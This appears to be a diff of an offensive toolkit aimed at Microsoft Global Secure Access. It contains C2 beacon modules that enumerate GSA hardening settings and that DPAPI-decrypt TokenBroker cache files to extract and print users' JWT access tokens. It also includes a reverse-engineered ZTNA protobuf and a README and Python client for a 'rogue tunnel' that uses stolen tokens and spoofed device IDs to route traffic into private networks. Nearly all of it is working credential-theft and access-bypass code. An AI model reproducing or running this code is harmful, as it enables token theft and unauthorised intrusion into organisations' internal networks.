if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideDisableButton", &val))
BadgerDispatch(dispatch, "[%s] HideDisableButton = %lu -> %s\n",
val ? "*" : "!", val, val ? "hidden" : "visible in tray");
else
BadgerDispatch(dispatch, "[!] HideDisableButton not set -> visible (default)\n");
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideSignOutButton", &val))
BadgerDispatch(dispatch, "[*] HideSignOutButton = %lu -> %s\n",
val, val ? "hidden" : "visible (re-auth possible)");
else
BadgerDispatch(dispatch, "[*] HideSignOutButton not set -> hidden (default)\n");
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideDisablePrivateAccessButton", &val))
BadgerDispatch(dispatch, "[*] HideDisablePrivateAccessButton = %lu -> %s\n",
val, val ? "hidden" : "visible (can bypass PA)");
else
BadgerDispatch(dispatch, "[*] HideDisablePrivateAccessButton not set -> hidden (default)\n");
if (ReadRegDword(HKEY_CURRENT_USER, GSA_KEY_HKCU, "IsPrivateAccessDisabledByUser", &val))
BadgerDispatch(dispatch, "[%s] IsPrivateAccessDisabledByUser = %lu -> %s\n",
(val == 1) ? "!" : "*", val, (val == 1) ? "Private Access BYPASSED" : "active");
else
BadgerDispatch(dispatch, "[*] IsPrivateAccessDisabledByUser not set -> active (default)\n");
char certCN[128];
if (ReadRegString(HKEY_LOCAL_MACHINE, GSA_KEY, "CertCommonName", certCN, sizeof(certCN)))
BadgerDispatch(dispatch, "[+] mTLS CertCommonName = %s\n", certCN);
else
BadgerDispatch(dispatch, "[*] mTLS CertCommonName not set\n");
DWORD r = 0, h = 0;
BOOL hasR = ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "RestrictNonPrivilegedUsers", &r);
BOOL hasH = ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "HideDisableButton", &h);
BadgerDispatch(dispatch, "\n --- Summary ---\n");
if ((!hasR || !r) && (!hasH || !h))
BadgerDispatch(dispatch, " [!] Any user can disable GSA from visible tray button\n");
else if (!hasR || !r)
BadgerDispatch(dispatch, " [!] Any user can disable GSA (button hidden but API accessible)\n");
else
BadgerDispatch(dispatch, " [*] UAC required to disable (hardened)\n");
}
void EnumForwardingProfile(WCHAR **dispatch) {
BadgerDispatch(dispatch, "\n[*] === Forwarding Profile ===\n");
char ts[128];
if (ReadRegString(HKEY_LOCAL_MACHINE, GSA_KEY, "ForwardingProfileTimestamp", ts, sizeof(ts)))
BadgerDispatch(dispatch, "[+] Last checked: %s\n", ts);
HKEY hKey;
LONG s = Advapi32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, GSA_KEY, 0, KEY_READ, &hKey);
if (s == 5) { BadgerDispatch(dispatch, "[-] access denied\n"); return; }
if (s != ERROR_SUCCESS) { BadgerDispatch(dispatch, "[-] key not found\n"); return; }
DWORD type = 0, dataSize = 0;
Advapi32$RegQueryValueExA(hKey, "ForwardingProfile", NULL, &type, NULL, &dataSize);
if (!dataSize || (type != REG_SZ && type != REG_EXPAND_SZ)) {
BadgerDispatch(dispatch, "[-] ForwardingProfile not found\n");
Advapi32$RegCloseKey(hKey);
return;
}
BadgerDispatch(dispatch, "[+] Size: %lu bytes\n", dataSize);
PVOID buf = BadgerAlloc(dataSize + 1);
if (!buf) { BadgerDispatch(dispatch, "[-] alloc failed\n"); Advapi32$RegCloseKey(hKey); return; }
BadgerMemset(buf, 0, dataSize + 1);
if (Advapi32$RegQueryValueExA(hKey, "ForwardingProfile", NULL, &type, (LPBYTE)buf, &dataSize) != ERROR_SUCCESS) {
BadgerDispatch(dispatch, "[-] read failed\n");
BadgerFree(&buf);
Advapi32$RegCloseKey(hKey);
return;
}
Advapi32$RegCloseKey(hKey);
char *json = (char *)buf;
char *p = Msvcrt$strstr(json, "\"tenantId\"");
if (!p) p = Msvcrt$strstr(json, "\"TenantId\"");
if (p) {
char *q = Msvcrt$strstr(p, ":\"");
if (!q) q = Msvcrt$strstr(p, ": \"");
if (q) {
q = Msvcrt$strstr(q, "\"") + 1;
char tid[64];
BadgerMemset(tid, 0, sizeof(tid));
int n = 0;
while (*q && *q != '"' && n < 60) tid[n++] = *q++;
BadgerDispatch(dispatch, "[+] Tenant ID: %s\n", tid);
}
}
BOOL hasM365 = (Msvcrt$strstr(json, "m365") || Msvcrt$strstr(json, "M365") || Msvcrt$strstr(json, "microsoft365"));
BOOL hasPrivate = (Msvcrt$strstr(json, "privateAccess") || Msvcrt$strstr(json, "PrivateAccess") || Msvcrt$strstr(json, "private"));
BOOL hasInternet = (Msvcrt$strstr(json, "internetAccess") || Msvcrt$strstr(json, "InternetAccess") || Msvcrt$strstr(json, "internet"));
BadgerDispatch(dispatch, "[+] Channels: M365=%s Private=%s Internet=%s\n",
hasM365 ? "yes" : "no", hasPrivate ? "yes" : "no", hasInternet ? "yes" : "no");
int rules = CountSubstring(json, "\"ruleId\"");
if (!rules) rules = CountSubstring(json, "\"RuleId\"");
int fqdns = CountSubstring(json, "\"fqdn\"");
if (!fqdns) fqdns = CountSubstring(json, "\"Fqdn\"");
int ips = CountSubstring(json, "\"ip\"");
BadgerDispatch(dispatch, "[+] Rules: ~%d FQDN: ~%d IP: ~%d\n", rules, fqdns, ips);
p = Msvcrt$strstr(json, "globalsecureaccess.microsoft.com");
if (p) {
char *start = p;
while (start > json && *(start - 1) != '"' && *(start - 1) != ' ') start--;
char edge[256];
BadgerMemset(edge, 0, sizeof(edge));
int n = 0;
while (*start && *start != '"' && *start != ',' && *start != '}' && n < 250)
edge[n++] = *start++;
BadgerDispatch(dispatch, "[+] Edge: %s\n", edge);
}
if (Msvcrt$strstr(json, "\"block\"") || Msvcrt$strstr(json, "\"Block\""))
BadgerDispatch(dispatch, "[+] Hardening: BLOCK\n");
else if (Msvcrt$strstr(json, "\"bypass\"") || Msvcrt$strstr(json, "\"Bypass\""))
BadgerDispatch(dispatch, "[+] Hardening: BYPASS\n");
BadgerDispatch(dispatch, "\n[*] === Full Forwarding Profile (%lu bytes) ===\n", dataSize);
size_t total = Msvcrt$strlen(json);
size_t off = 0;
while (off < total) {
size_t chunk = total - off;
if (chunk > 1800) chunk = 1800;
char saved = json[off + chunk];
json[off + chunk] = '\0';
BadgerDispatch(dispatch, "%s", json + off);
json[off + chunk] = saved;
off += chunk;
}
BadgerDispatch(dispatch, "\n");
BadgerFree(&buf);
}
void coffee(char **argv, int argc, WCHAR **dispatch) {
g_dispatch = dispatch;
BadgerDispatch(dispatch, "============================================\n");
BadgerDispatch(dispatch, " GSA Recon — Global Secure Access Enum\n");
BadgerDispatch(dispatch, "============================================\n");
EnumInstallation(dispatch);
EnumServices(dispatch);
EnumProcesses(dispatch);
EnumRegistry(dispatch);
EnumSecurityPosture(dispatch);
EnumForwardingProfile(dispatch);
BadgerDispatch(dispatch, "\n[*] Done\n");
}
+437
View File
@@ -0,0 +1,437 @@
#include <windows.h>
#include <stdio.h>
#include "badger_exports.h"
DECLSPEC_IMPORT DWORD Kernel32$GetLastError();
DECLSPEC_IMPORT BOOL Kernel32$CloseHandle(HANDLE hObject);
DECLSPEC_IMPORT BOOL Kernel32$FindClose(HANDLE hFindFile);
DECLSPEC_IMPORT BOOL Kernel32$FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);
DECLSPEC_IMPORT HANDLE Kernel32$FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);
DECLSPEC_IMPORT DWORD Kernel32$GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
DECLSPEC_IMPORT BOOL Kernel32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
DECLSPEC_IMPORT HANDLE Kernel32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
DECLSPEC_IMPORT DWORD Kernel32$GetEnvironmentVariableA(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize);
DECLSPEC_IMPORT HLOCAL Kernel32$LocalFree(HLOCAL hMem);
DECLSPEC_IMPORT BOOL Crypt32$CryptUnprotectData(DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, PVOID pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut);
DECLSPEC_IMPORT int Msvcrt$sprintf(char *buffer, const char *format, ...);
DECLSPEC_IMPORT char *Msvcrt$strstr(const char *haystack, const char *needle);
#define MAX_JWT_LEN 8192
#define MAX_TOKENS 16
#define MAX_FILE_SIZE (512 * 1024)
#define B64_DECODE_MAX 4096
typedef struct _GsaToken {
char type[24];
char audience[80];
char scope[128];
char source[MAX_PATH];
DWORD expiry;
int len;
char jwt[MAX_JWT_LEN];
} GsaToken;
static GsaToken g_found[MAX_TOKENS];
static int g_count = 0;
static int b64_val(char c) {
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
if (c >= '0' && c <= '9') return c - '0' + 52;
if (c == '+') return 62;
if (c == '/') return 63;
return -1;
}
static int b64_decode(const char *in, int inLen, unsigned char *out, int outMax) {
int j = 0;
unsigned int acc = 0;
int bits = 0;
for (int i = 0; i < inLen && j < outMax; i++) {
if (in[i] == '=' || in[i] == '\0') break;
int v = b64_val(in[i]);
if (v < 0) continue;
acc = (acc << 6) | v;
bits += 6;
if (bits >= 8) {
bits -= 8;
out[j++] = (unsigned char)((acc >> bits) & 0xFF);
}
}
return j;
}
/* --- Base64url decode (for JWT payload) --- */
static int b64url_val(char c) {
if (c >= 'A' && c <= 'Z') return c - 'A';
if (c >= 'a' && c <= 'z') return c - 'a' + 26;
if (c >= '0' && c <= '9') return c - '0' + 52;
if (c == '-' || c == '+') return 62;
if (c == '_' || c == '/') return 63;
return -1;
}
static int b64url_decode(const char *in, int inLen, char *out, int outMax) {
int j = 0;
unsigned int acc = 0;
int bits = 0;
for (int i = 0; i < inLen && j < outMax - 1; i++) {
if (in[i] == '=' || in[i] == '\0') break;
int v = b64url_val(in[i]);
if (v < 0) continue;
acc = (acc << 6) | v;
bits += 6;
if (bits >= 8) {
bits -= 8;
out[j++] = (char)((acc >> bits) & 0xFF);
}
}
out[j] = '\0';
return j;
}
static int IsJwtChar(unsigned char c) {
return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') ||
(c >= '0' && c <= '9') || c == '-' || c == '_' ||
c == '.' || c == '+' || c == '/';
}
static void ExtractField(const char *json, const char *field, char *out, int outMax) {
out[0] = '\0';
char key[64];
int kl = 0;
key[kl++] = '"';
for (int i = 0; field[i] && kl < 60; i++) key[kl++] = field[i];
key[kl++] = '"';
key[kl++] = ':';
key[kl] = '\0';
const char *p = Msvcrt$strstr(json, key);
if (!p) return;
p += kl;
while (*p == ' ' || *p == '\t') p++;
if (*p == '"') {
p++;
int i = 0;
while (*p && *p != '"' && i < outMax - 1) out[i++] = *p++;
out[i] = '\0';
} else {
int i = 0;
while (*p && *p != ',' && *p != '}' && *p != ' ' && i < outMax - 1) out[i++] = *p++;
out[i] = '\0';
}
}
static const char *IdentifyGsaToken(const char *aud) {
if (Msvcrt$strstr(aud, "e92b9b37")) return "TUNNEL";
if (Msvcrt$strstr(aud, "b3fa0115")) return "APS";
if (Msvcrt$strstr(aud, "79486f61")) return "PORTO";
return NULL;
}
static int IsDuplicate(const char *aud, DWORD exp) {
for (int i = 0; i < g_count; i++) {
if (BadgerStrcmp(g_found[i].audience, aud) == 0 && g_found[i].expiry == exp)
return 1;
}
return 0;
}
static void TryAddJwt(const char *jwt, int jwtLen, const char *source) {
if (g_count >= MAX_TOKENS) return;
if (jwtLen < 100 || jwtLen >= MAX_JWT_LEN) return;
int dot1 = -1, dot2 = -1, dots = 0;
for (int i = 0; i < jwtLen; i++) {
if (jwt[i] == '.') {
dots++;
if (dots == 1) dot1 = i;
if (dots == 2) dot2 = i;
}
}
if (dots < 2 || dot1 < 0 || dot2 <= dot1 + 1) return;
int payloadLen = dot2 - dot1 - 1;
if (payloadLen > B64_DECODE_MAX - 1) return;
char *decoded = BadgerAlloc(B64_DECODE_MAX);
if (!decoded) return;
int dLen = b64url_decode(jwt + dot1 + 1, payloadLen, decoded, B64_DECODE_MAX);
if (dLen < 10 || decoded[0] != '{') {
BadgerFree((PVOID *)&decoded);
return;
}
char aud[80];
ExtractField(decoded, "aud", aud, sizeof(aud));
const char *type = IdentifyGsaToken(aud);
if (!type) {
BadgerFree((PVOID *)&decoded);
return;
}
char expStr[32];
ExtractField(decoded, "exp", expStr, sizeof(expStr));
DWORD exp = (DWORD)BadgerAtoi(expStr);
if (IsDuplicate(aud, exp)) {
BadgerFree((PVOID *)&decoded);
return;
}
GsaToken *t = &g_found[g_count];
BadgerMemset(t, 0, sizeof(GsaToken));
int tl = BadgerStrlen((char *)type);
BadgerMemcpy(t->type, type, tl < 23 ? tl : 23);
int al = BadgerStrlen(aud);
BadgerMemcpy(t->audience, aud, al < 79 ? al : 79);
ExtractField(decoded, "scp", t->scope, sizeof(t->scope));
t->expiry = exp;
int sl = BadgerStrlen((char *)source);
BadgerMemcpy(t->source, source, sl < MAX_PATH - 1 ? sl : MAX_PATH - 1);
t->len = jwtLen < MAX_JWT_LEN - 1 ? jwtLen : MAX_JWT_LEN - 1;
BadgerMemcpy(t->jwt, jwt, t->len);
g_count++;
BadgerFree((PVOID *)&decoded);
}
static void ScanBufferForJwts(const unsigned char *data, DWORD dataLen, const char *source) {
for (DWORD i = 0; i + 3 < dataLen; i++) {
if (data[i] != 'e' || data[i + 1] != 'y' || data[i + 2] != 'J')
continue;
int jwtLen = 0;
while (i + jwtLen < dataLen && jwtLen < MAX_JWT_LEN - 1 && IsJwtChar(data[i + jwtLen]))
jwtLen++;
if (jwtLen < 100) continue;
char *jwt = BadgerAlloc(jwtLen + 1);
if (!jwt) continue;
BadgerMemcpy(jwt, data + i, jwtLen);
jwt[jwtLen] = '\0';
TryAddJwt(jwt, jwtLen, source);
BadgerFree((PVOID *)&jwt);
i += jwtLen - 1;
}
}
static char *Utf16ToNarrow(const unsigned char *data, DWORD dataLen, DWORD *outLen) {
DWORD narrowLen = 0;
for (DWORD i = 0; i < dataLen; i++) {
if (data[i] != 0) narrowLen++;
}
char *narrow = BadgerAlloc(narrowLen + 1);
if (!narrow) return NULL;
DWORD j = 0;
for (DWORD i = 0; i < dataLen; i++) {
if (data[i] != 0) narrow[j++] = (char)data[i];
}
narrow[j] = '\0';
*outLen = j;
return narrow;
}
static int IsUtf16LE(const unsigned char *data, DWORD dataLen) {
if (dataLen < 4) return 0;
if (data[0] == 0xFF && data[1] == 0xFE) return 1;
if (data[1] == 0x00 && data[3] == 0x00) return 1;
return 0;
}
static const char *FindResponseBytesValue(const char *narrow, DWORD narrowLen, int *b64Len) {
const char *marker = "IsProtected\":true,\"Value\":\"";
const char *p = Msvcrt$strstr(narrow, marker);
if (!p) {
marker = "IsProtected\": true, \"Value\": \"";
p = Msvcrt$strstr(narrow, marker);
}
if (!p) {
marker = "IsProtected\":true,\"Value\": \"";
p = Msvcrt$strstr(narrow, marker);
}
if (!p) return NULL;
int mlen = BadgerStrlen((char *)marker);
const char *start = p + mlen;
int len = 0;
while (start[len] && start[len] != '"') len++;
if (len < 16) return NULL;
*b64Len = len;
return start;
}
static void ProcessFile(const char *filePath, WCHAR **dispatch) {
HANDLE hFile = Kernel32$CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return;
DWORD fileSize = Kernel32$GetFileSize(hFile, NULL);
if (fileSize == 0 || fileSize > MAX_FILE_SIZE) {
Kernel32$CloseHandle(hFile);
return;
}
unsigned char *data = BadgerAlloc(fileSize);
if (!data) { Kernel32$CloseHandle(hFile); return; }
DWORD bytesRead;
if (!Kernel32$ReadFile(hFile, data, fileSize, &bytesRead, NULL)) {
BadgerFree((PVOID *)&data);
Kernel32$CloseHandle(hFile);
return;
}
Kernel32$CloseHandle(hFile);
int before = g_count;
DWORD narrowLen = 0;
char *narrow = NULL;
if (IsUtf16LE(data, bytesRead)) {
narrow = Utf16ToNarrow(data, bytesRead, &narrowLen);
} else {
narrowLen = bytesRead;
narrow = BadgerAlloc(bytesRead + 1);
if (narrow) {
BadgerMemcpy(narrow, data, bytesRead);
narrow[bytesRead] = '\0';
}
}
BadgerFree((PVOID *)&data);
if (!narrow) return;
int b64Len = 0;
const char *b64Str = FindResponseBytesValue(narrow, narrowLen, &b64Len);
if (b64Str && b64Len > 0) {
int maxDecoded = (b64Len * 3) / 4 + 16;
if (maxDecoded > MAX_FILE_SIZE) maxDecoded = MAX_FILE_SIZE;
unsigned char *dpapiBlob = BadgerAlloc(maxDecoded);
if (dpapiBlob) {
int blobLen = b64_decode(b64Str, b64Len, dpapiBlob, maxDecoded);
if (blobLen >= 64) {
DATA_BLOB dataIn, dataOut;
dataIn.pbData = dpapiBlob;
dataIn.cbData = (DWORD)blobLen;
BadgerMemset(&dataOut, 0, sizeof(DATA_BLOB));
if (Crypt32$CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, &dataOut)) {
BadgerDispatch(dispatch, "[*] DPAPI decrypt OK: %s (%lu bytes)\n",
filePath, dataOut.cbData);
ScanBufferForJwts(dataOut.pbData, dataOut.cbData, filePath);
Kernel32$LocalFree(dataOut.pbData);
} else {
BadgerDispatch(dispatch, "[!] DPAPI decrypt failed: %s (err=%lu)\n",
filePath, Kernel32$GetLastError());
}
}
BadgerFree((PVOID *)&dpapiBlob);
}
}
ScanBufferForJwts((const unsigned char *)narrow, narrowLen, filePath);
int found = g_count - before;
if (found > 0)
BadgerDispatch(dispatch, "[+] %s -> %d GSA token(s)\n", filePath, found);
BadgerFree((PVOID *)&narrow);
}
static void ScanDirectory(const char *dir, const char *pattern, WCHAR **dispatch) {
char searchPath[MAX_PATH];
Msvcrt$sprintf(searchPath, "%s\\%s", dir, pattern);
WIN32_FIND_DATAA fd;
HANDLE hFind = Kernel32$FindFirstFileA(searchPath, &fd);
if (hFind == INVALID_HANDLE_VALUE) return;
int count = 0;
do {
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
char fullPath[MAX_PATH];
Msvcrt$sprintf(fullPath, "%s\\%s", dir, fd.cFileName);
ProcessFile(fullPath, dispatch);
count++;
} while (Kernel32$FindNextFileA(hFind, &fd));
Kernel32$FindClose(hFind);
BadgerDispatch(dispatch, "[*] Scanned %d file(s) in %s\n", count, dir);
}
void coffee(char **argv, int argc, WCHAR **dispatch) {
g_dispatch = dispatch;
g_count = 0;
BadgerMemset(g_found, 0, sizeof(g_found));
BadgerDispatch(dispatch, "============================================\n");
BadgerDispatch(dispatch, " GSA Token Extraction from TokenBroker\n");
BadgerDispatch(dispatch, "============================================\n\n");
char userProfile[MAX_PATH];
if (Kernel32$GetEnvironmentVariableA("USERPROFILE", userProfile, MAX_PATH) == 0) {
BadgerDispatch(dispatch, "[-] Cannot resolve %%USERPROFILE%%\n");
return;
}
char dir[MAX_PATH];
Msvcrt$sprintf(dir, "%s\\AppData\\Local\\Microsoft\\TokenBroker\\Cache", userProfile);
BadgerDispatch(dispatch, "[*] Scanning: %s\n", dir);
ScanDirectory(dir, "*.tbres", dispatch);
BadgerDispatch(dispatch, "\n============================================\n");
BadgerDispatch(dispatch, " RESULTS: %d GSA token(s) extracted\n", g_count);
BadgerDispatch(dispatch, "============================================\n\n");
if (g_count == 0) {
BadgerDispatch(dispatch, "[-] No GSA tokens found in TokenBroker cache\n");
BadgerDispatch(dispatch, "[*] Possible causes:\n");
BadgerDispatch(dispatch, " - No GSA enrollment on this device\n");
BadgerDispatch(dispatch, " - Tokens expired and purged\n");
BadgerDispatch(dispatch, " - DPAPI decrypt failed (wrong user context)\n");
return;
}
for (int i = 0; i < g_count; i++) {
GsaToken *t = &g_found[i];
BadgerDispatch(dispatch, "--- %s TOKEN ---\n", t->type);
BadgerDispatch(dispatch, "Audience: %s\n", t->audience);
BadgerDispatch(dispatch, "Scope: %s\n", t->scope[0] ? t->scope : "N/A");
BadgerDispatch(dispatch, "Expiry: %lu\n", t->expiry);
BadgerDispatch(dispatch, "Source: %s\n", t->source);
BadgerDispatch(dispatch, "JWT:\n");
int off = 0;
while (off < t->len) {
int chunk = t->len - off;
if (chunk > 200) chunk = 200;
char buf[204];
BadgerMemcpy(buf, t->jwt + off, chunk);
buf[chunk] = '\0';
BadgerDispatch(dispatch, "%s\n", buf);
off += chunk;
}
BadgerDispatch(dispatch, "\n");
}
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 303 KiB

+170
View File
@@ -0,0 +1,170 @@
// Microsoft Global Secure Access ZTNA v2 Protocol
// Extracted from GlobalSecureAccessTunnelingService.exe embedded protobuf descriptor
// Binary path: Protos/ztna_v2.proto
// C# namespace: Microsoft.Naas.Ztna.Grpc.V2
syntax = "proto3";
package microsoft.ztna.v2;
enum ConnectionProtocol {
UNDEFINED = 0;
IP = 3;
TCP = 6;
UDP = 17;
}
enum TrafficProfile {
PROFILE_UNDEFINED = 0;
INTERNET = 1;
PRIVATE_ACCESS = 2;
M365 = 3;
}
enum CrossTenantAccessType {
CROSS_TENANT_ACCESS_NONE = 0;
B2B_COLLABORATION = 1;
}
enum DeviceJoinType {
DEVICE_JOIN_NONE = 0;
MICROSOFT_ENTRA_JOINED = 1;
MICROSOFT_ENTRA_REGISTERED = 2;
}
enum CloseReason {
CLOSE_REASON_UNKNOWN = 0;
CLOSE_REASON_TOKEN_EXPIRED = 1;
}
message ClientPolicyMetadata {
string fw_policy_version = 1;
}
message ClientDeviceInfo {
string client_agent_version = 1;
string client_os_type = 2;
string client_os_version = 3;
string client_device_id = 4;
string client_os_name = 5;
ClientPolicyMetadata client_policy_metadata = 6;
string client_device_name = 7;
string client_os_architecture = 8;
DeviceJoinType client_device_join_type = 9;
}
message ClientFlowMetadata {
string correlation_id = 1;
string tunnel_id = 2;
string destination_ip = 3;
string destination_host = 4;
int32 destination_port = 5;
string client_resolved_ips = 6;
string client_invoked_process_name = 7;
string app_token = 8;
ConnectionProtocol protocol = 9;
}
message CreateTunnelMessage {
string tunnel_token = 1;
ClientDeviceInfo agent_metadata = 2;
}
message CreateTunnelNoTokenMessage {
ClientDeviceInfo agent_metadata = 1;
}
message TunnelAuthenticationRequest {
string tunnel_token = 1;
}
message FlowAuthenticationRequest {
ClientFlowMetadata metadata = 1;
}
message TunnelCreatedMessage {
string tunnel_id = 1;
string claim_challenge = 2;
string azure_region_display_name = 3;
string server_geo_location = 4;
}
message TunnelAuthenticationRequired {
string claim_challenge = 1;
}
message TunnelAuthenticationSuccessResponse {
}
message TunnelAuthenticationFailedResponse {
}
message TunnelClosedMessage {
string tunnel_id = 1;
CloseReason close_reason = 2;
string error_message = 3;
}
message FlowClosedReason {
string close_status_code = 1;
string ui_description = 2;
string detailed_description = 3;
string notification_aggregation_key = 4;
string ui_title = 5;
}
message FlowClosedMessage {
FlowClosedReason reason = 1;
string correlation_id = 2;
string client_invoked_process_name = 3;
}
message FlowAuthenticationSuccessResponse {
string correlation_id = 1;
}
message FlowAuthenticationFailureResponse {
string correlation_id = 1;
}
// Client control message — field numbers 2-9 are reserved
message ClientControlMessage {
string correlation_vector = 1;
reserved 2 to 9;
oneof payload {
CreateTunnelMessage create_tunnel = 10;
TunnelAuthenticationRequest authentication_request = 11;
CreateTunnelNoTokenMessage create_tunnel_no_token = 12;
FlowAuthenticationRequest flow_authentication_request = 13;
}
}
// Server control message — field numbers 2-9 are reserved
message ServerControlMessage {
string correlation_vector = 1;
reserved 2 to 9;
oneof payload {
TunnelCreatedMessage tunnel_created = 10;
TunnelAuthenticationRequired tunnel_authentication_required = 11;
TunnelAuthenticationSuccessResponse tunnel_authentication_success_response = 12;
TunnelAuthenticationFailedResponse tunnel_authentication_failed_response = 13;
TunnelClosedMessage tunnel_closed = 14;
FlowClosedMessage flow_closed = 15;
FlowAuthenticationSuccessResponse flow_authentication_success = 16;
FlowAuthenticationFailureResponse flow_authentication_failure = 17;
}
}
message ClientFlowMessage {
ClientFlowMetadata metadata = 1;
bytes packet = 2;
}
message ServerFlowMessage {
bytes packet = 1;
}
service Ztna {
rpc CreateControlChannel(stream ClientControlMessage) returns (stream ServerControlMessage);
rpc CreateFlow(stream ClientFlowMessage) returns (stream ServerFlowMessage);
}
+79
View File
@@ -0,0 +1,79 @@
# GSA Rogue Tunnel Client
A standalone Linux tunnel client for Microsoft Global Secure Access (ZTNA v2). Connects to Microsoft's edge servers using stolen or acquired tokens and routes arbitrary traffic through the ZTNA tunnel via a TUN interface.
## How It Works
1. **Authentication** — Three JWT tokens are needed: Tunnel (creates the tunnel), PortoToken (per-flow app authorization), and APS (bearer token on data flows). Tokens are extracted from a GSA-enrolled Windows device.
2. **Tunnel establishment** — Opens a bidirectional gRPC stream (`CreateControlChannel`) to the edge server, sends `CreateTunnelMessage` with the tunnel token and spoofed device metadata.
3. **TUN device** — Creates a Linux TUN interface (`gsa0`), assigns an IP, and replaces kernel routes so traffic to target subnets flows through the tunnel.
4. **Packet forwarding** — Reads raw IPv4 packets from TUN, creates per-connection gRPC flows (`CreateFlow`), and forwards packets bidirectionally. Responses from the server are written back to TUN for the kernel to deliver to applications.
5. **Flow lifecycle** — Each TCP connection or UDP destination gets its own gRPC flow. Flows are pre-authenticated on the control channel before data transfer. Stale flows are cleaned up after 120 seconds of inactivity.
## Setup
```bash
# Create virtual environment and install dependencies
python3 -m venv .venv
source .venv/bin/activate
pip install grpcio grpcio-tools protobuf msal
# Generate protobuf stubs from the proto definition
python -m grpc_tools.protoc \
--proto_path=../proto \
--python_out=. \
--grpc_python_out=. \
../proto/ztna_v2.proto
```
## Token Acquisition
### Option 1: Extract from Windows device
Dump tokens from a GSA-enrolled device using the `gsa_tbres_steal` BOF, System Informer, or any method that can read TokenBroker `.tbres` files. Save the raw output to a file.
```bash
# The tunnel client parses JWT tokens from the dump by audience
sudo python3 gsa_tunnel.py --token-file /path/to/token_dump.txt
```
## Usage
```bash
# Basic — auto-extract tokens, route RFC1918 subnets through tunnel
sudo python3 gsa_tunnel.py --token-file /tmp/token
# Specific subnet only
sudo python3 gsa_tunnel.py --token-file /tmp/token --routes 192.168.255.0/24
# Custom tenant
sudo python3 gsa_tunnel.py --token-file /tmp/token --tenant <tenant-id>
# Debug logging
sudo python3 gsa_tunnel.py --token-file /tmp/token -v
# Skip DNS modification
sudo python3 gsa_tunnel.py --token-file /tmp/token --no-dns
```
## Token Audiences
| Token | Audience | Client ID | Used For |
|-------|----------|-----------|----------|
| Tunnel | `e92b9b37-1b47-4c01-9fbc-91d84450870e` | `cde6adac-0a5a-4a30-adaa-413e95264b5a` | `CreateTunnelMessage.tunnel_token` |
| Porto | `79486f61-d9f0-430e-9f7c-1713c8d9a2f9` | `760282b4-0cfc-4952-b467-c8e0298fee16` | `ClientFlowMetadata.app_token` |
| APS | `b3fa0115-39b3-4bec-8cc6-8c4fcd33e69d` | `ca01d00c-d191-45f2-87d5-7d5b9e9baea4` | `Authorization: Bearer` on `CreateFlow` |
Tokens expire in ~75 minutes.
## Limitations
- Requires root for TUN device creation and route management
- Only TCP and UDP traffic is tunneled (no ICMP)
- Token refresh is not automated — re-run token acquisition when tokens expire
- Connector must be online and able to reach the target resource
+695
View File
@@ -0,0 +1,695 @@
#!/usr/bin/env python3
import grpc
import uuid
import time
import struct
import socket
import threading
import logging
import argparse
import json
import base64
import os
import sys
import signal
import fcntl
import subprocess
from dataclasses import dataclass, field
from typing import Optional, Dict, Tuple
from queue import Queue, Empty
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import ztna_v2_pb2
import ztna_v2_pb2_grpc
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s %(levelname)s [%(name)s] %(message)s',
datefmt='%H:%M:%S',
)
logger = logging.getLogger('gsa-tunnel')
EDGE_TEMPLATE = "{tenant}.private.client.globalsecureaccess.microsoft.com:443"
DEFAULT_TENANT = ""
DEVICE_ID = "00000000-0000-0000-0000-000000000000"
GSA_DNS_SERVER = "6.6.255.254"
TUN_NAME = "gsa0"
TUN_ADDR = "10.128.0.2"
TUN_NETMASK = "255.255.255.0"
TUN_MTU = 1400
TUNSETIFF = 0x400454CA
IFF_TUN = 0x0001
IFF_NO_PI = 0x1000
DEFAULT_ROUTES = [
"192.168.0.0/16",
"10.0.0.0/8",
"172.16.0.0/12",
]
AUD_PORTO = "79486f61-d9f0-430e-9f7c-1713c8d9a2f9"
AUD_APS = "b3fa0115-39b3-4bec-8cc6-8c4fcd33e69d"
AUD_TUNNEL = "e92b9b37-1b47-4c01-9fbc-91d84450870e"
def decode_jwt_payload(token: str) -> dict:
parts = token.split('.')
if len(parts) < 2:
return {}
payload = parts[1] + '=' * (4 - len(parts[1]) % 4)
return json.loads(base64.urlsafe_b64decode(payload))
def extract_tokens_from_dump(path: str) -> Dict[str, str]:
with open(path) as f:
content = f.read()
tokens_by_aud = {}
for line in content.split('\n'):
for part in line.split():
if not part.startswith('eyJ') or '.' not in part:
continue
try:
claims = decode_jwt_payload(part)
aud = claims.get('aud', '')
exp = claims.get('exp', 0)
if aud and (aud not in tokens_by_aud or exp > decode_jwt_payload(tokens_by_aud[aud]).get('exp', 0)):
tokens_by_aud[aud] = part
except Exception:
continue
return tokens_by_aud
def load_token_file(path: str) -> str:
with open(path) as f:
return f.read().strip()
